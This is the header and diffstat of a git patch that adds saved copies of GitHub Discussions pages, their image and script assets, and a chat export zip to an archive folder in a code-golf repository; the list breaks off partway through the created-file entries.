From fc2626585a6d30e58220783bcca73d2a724e12c9 Mon Sep 17 00:00:00 2001 From: Anthony Wang Date: Wed, 22 Jun 2022 12:21:25 -0500 Subject: [PATCH] Add archives of chatroom and discussions --- .gitignore | 2 - .../Discussions · Ta180m_Idiot-Code-Golf.html | 3149 +++++++++ .../1f495.png | Bin 0 -> 3155 bytes .../1f4a1.png | Bin 0 -> 3095 bytes .../1f4ac.png | Bin 0 -> 1168 bytes .../1f5f3.png | Bin 0 -> 1626 bytes .../1f64c.png | Bin 0 -> 3689 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../33086936.png | Bin 0 -> 1547 bytes .../33086936_002.png | Bin 0 -> 1507 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 1536 bytes ...thub_behaviors_details_ts-app_assets_mod.js | 3 + ...thub_behaviors_keyboard-shortcuts-helper.js | 14 + ...es_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...thub_command-palette_items_help-item_ts-.js | 37 + ...thub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-e63ae3d23c5f.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ...delegated-events_dist_index_js-node__002.js | 3 + ...delegated-events_dist_index_js-node_modu.js | 3 + ...github_catalyst_lib_index_js-node_module.js | 3 + ...github_clipboard-copy-element_dist_index.js | 3 + ...github_file-attachment-element_dist_inde.js | 221 + ...github_filter-input-element_dist_index_j.js | 14 + ...github_mini-throttle_dist_decorators_js-.js | 3 + ...github_mini-throttle_dist_index_js-node_.js | 3 + ...github_paste-markdown_dist_index_esm_js-.js | 25 + ...github_remote-form_dist_index_js-nod_002.js | 3 + ...github_remote-form_dist_index_js-node_mo.js | 15 + ...odules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ...selector-observer_dist_index_esm_js-8a8f.js | 3 + ...Discussion #5 · Ta180m_Idiot-Code-Golf.html | 4180 ++++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f4a1.png | Bin 0 -> 3095 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../33086936.png | Bin 0 -> 1039 bytes .../33086936_002.png | Bin 0 -> 1183 bytes .../33086936_003.png | Bin 0 -> 1507 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 1536 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_command-palette_items_help-item_ts-.js | 37 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_decorators_js-.js | 3 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...Discussion #3 · Ta180m_Idiot-Code-Golf.html | 4021 ++++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 1536 bytes .../50341827_003.png | Bin 0 -> 3124 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 15 + ..._github_remote-form_dist_index_js-node_mo.js | 3 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...iscussion #15 · Ta180m_Idiot-Code-Golf.html | 3746 +++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../50341827.png | Bin 0 -> 3124 bytes .../50341827_002.png | Bin 0 -> 1536 bytes .../50341827_003.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...iscussion #12 · Ta180m_Idiot-Code-Golf.html | 3947 +++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 3124 bytes .../50341827_003.png | Bin 0 -> 1536 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_command-palette_items_help-item_ts-.js | 37 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_decorators_js-.js | 3 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...iscussion #14 · Ta180m_Idiot-Code-Golf.html | 3932 +++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 3124 bytes .../50341827_003.png | Bin 0 -> 1536 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...Discussion #4 · Ta180m_Idiot-Code-Golf.html | 5777 +++++++++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../33086936.png | Bin 0 -> 1547 bytes .../33086936_002.png | Bin 0 -> 1183 bytes .../33086936_003.png | Bin 0 -> 1507 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 1536 bytes .../50341827_003.png | Bin 0 -> 3124 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...Discussion #6 · Ta180m_Idiot-Code-Golf.html | 4480 +++++++++++++ ...116-7c456480-a602-11eb-9812-0ea5576f8d09.jpg | Bin 0 -> 148806 bytes .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../33086936.png | Bin 0 -> 1039 bytes .../33086936_002.png | Bin 0 -> 1183 bytes .../33086936_003.png | Bin 0 -> 1507 bytes .../33086936_004.png | Bin 0 -> 1547 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 3124 bytes .../50341827_003.png | Bin 0 -> 1536 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...Discussion #7 · Ta180m_Idiot-Code-Golf.html | 4945 ++++++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../33086936.png | Bin 0 -> 1507 bytes .../33086936_002.png | Bin 0 -> 1183 bytes .../33086936_003.png | Bin 0 -> 1547 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 1536 bytes .../50341827_003.png | Bin 0 -> 3124 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_command-palette_items_help-item_ts-.js | 37 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_decorators_js-.js | 3 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...Discussion #8 · Ta180m_Idiot-Code-Golf.html | 4768 ++++++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../33086936.png | Bin 0 -> 1183 bytes .../33086936_002.png | Bin 0 -> 1507 bytes .../33086936_003.png | Bin 0 -> 1547 bytes .../50341827.png | Bin 0 -> 3124 bytes .../50341827_002.png | Bin 0 -> 1536 bytes .../50341827_003.png | Bin 0 -> 2009 bytes .../50341827_004.png | Bin 0 -> 2838 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ... Discussion #9 · Ta180m_Idiot-Code-Golf.html | 4710 ++++++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../33086936.png | Bin 0 -> 1039 bytes .../33086936_002.png | Bin 0 -> 1183 bytes .../33086936_003.png | Bin 0 -> 1507 bytes .../33086936_004.png | Bin 0 -> 1547 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 3124 bytes .../50341827_003.png | Bin 0 -> 1536 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ..._github_behaviors_details_ts-app_assets_mod.js | 3 + ..._github_behaviors_keyboard-shortcuts-helper.js | 14 + ...dules_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ..._github_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ...es_delegated-events_dist_index_js-node__002.js | 3 + ...es_delegated-events_dist_index_js-node_modu.js | 3 + ...es_github_catalyst_lib_index_js-node_module.js | 3 + ...es_github_clipboard-copy-element_dist_index.js | 3 + ...es_github_file-attachment-element_dist_inde.js | 221 + ...es_github_filter-input-element_dist_index_j.js | 14 + ...es_github_mini-throttle_dist_index_js-node_.js | 3 + ...es_github_paste-markdown_dist_index_esm_js-.js | 25 + ...es_github_remote-form_dist_index_js-nod_002.js | 3 + ...es_github_remote-form_dist_index_js-node_mo.js | 15 + ...e_modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ...es_selector-observer_dist_index_esm_js-8a8f.js | 3 + ...iscussion #10 · Ta180m_Idiot-Code-Golf.html | 4017 ++++++++++++ .../1f389.png | Bin 0 -> 3258 bytes .../1f440.png | Bin 0 -> 1326 bytes .../1f44d.png | Bin 0 -> 2936 bytes .../1f44e.png | Bin 0 -> 2890 bytes .../1f604.png | Bin 0 -> 3064 bytes .../1f615.png | Bin 0 -> 2338 bytes .../1f64f.png | Bin 0 -> 2660 bytes .../1f680.png | Bin 0 -> 2984 bytes .../2764.png | Bin 0 -> 2694 bytes .../50341827.png | Bin 0 -> 2838 bytes .../50341827_002.png | Bin 0 -> 3124 bytes .../50341827_003.png | Bin 0 -> 1536 bytes .../50341827_004.png | Bin 0 -> 2009 bytes ...ithub_behaviors_details_ts-app_assets_mod.js | 3 + ...ithub_behaviors_keyboard-shortcuts-helper.js | 14 + ...les_github_behaviors_pjax_ts-9f84f27e2e5c.js | 3 + ...ithub_form_ts-app_assets_modules_github_n.js | 3 + .../behaviors-bc638155a1aa.js | 101 + .../command-palette-958553b96f7b.js | 3 + .../dark-d4a90c367f0c.css | 3 + .../discussions-a9715ada910e.js | 35 + .../discussions-bf737c3b4f29.css | 3 + .../element-registry-5ae34a61606f.js | 3 + .../environment-3ccf192d151f.js | 4 + .../github-4151d1bd4fa5.css | 3 + .../github-elements-8b41dad63765.js | 3 + .../global-181aeb293fed.css | 11 + .../light-92c7d381038e.css | 3 + .../notifications-global-a5a0da1c07bc.js | 3 + .../primer-10084108b209.css | 13 + .../runtime-65b3abbb8226.js | 4 + ..._delegated-events_dist_index_js-node__002.js | 3 + ..._delegated-events_dist_index_js-node_modu.js | 3 + ..._github_catalyst_lib_index_js-node_module.js | 3 + ..._github_clipboard-copy-element_dist_index.js | 3 + ..._github_file-attachment-element_dist_inde.js | 221 + ..._github_filter-input-element_dist_index_j.js | 14 + ..._github_mini-throttle_dist_index_js-node_.js | 3 + ..._github_paste-markdown_dist_index_esm_js-.js | 25 + ..._github_remote-form_dist_index_js-nod_002.js | 3 + ..._github_remote-form_dist_index_js-node_mo.js | 15 + ...modules_lit-html_lit-html_js-ba8ef7c9465c.js | 135 + ..._selector-observer_dist_index_esm_js-8a8f.js | 3 + ...Chat Export - 6-22-2022 at 12-18-35 PM.zip | Bin 0 -> 419339 bytes 553 files changed, 59584 insertions(+), 2 deletions(-) delete mode 100644 .gitignore create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f495.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f4a1.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f4ac.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f5f3.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f64c.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/33086936.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/33086936_002.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/behaviors-e63ae3d23c5f.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Discussions · 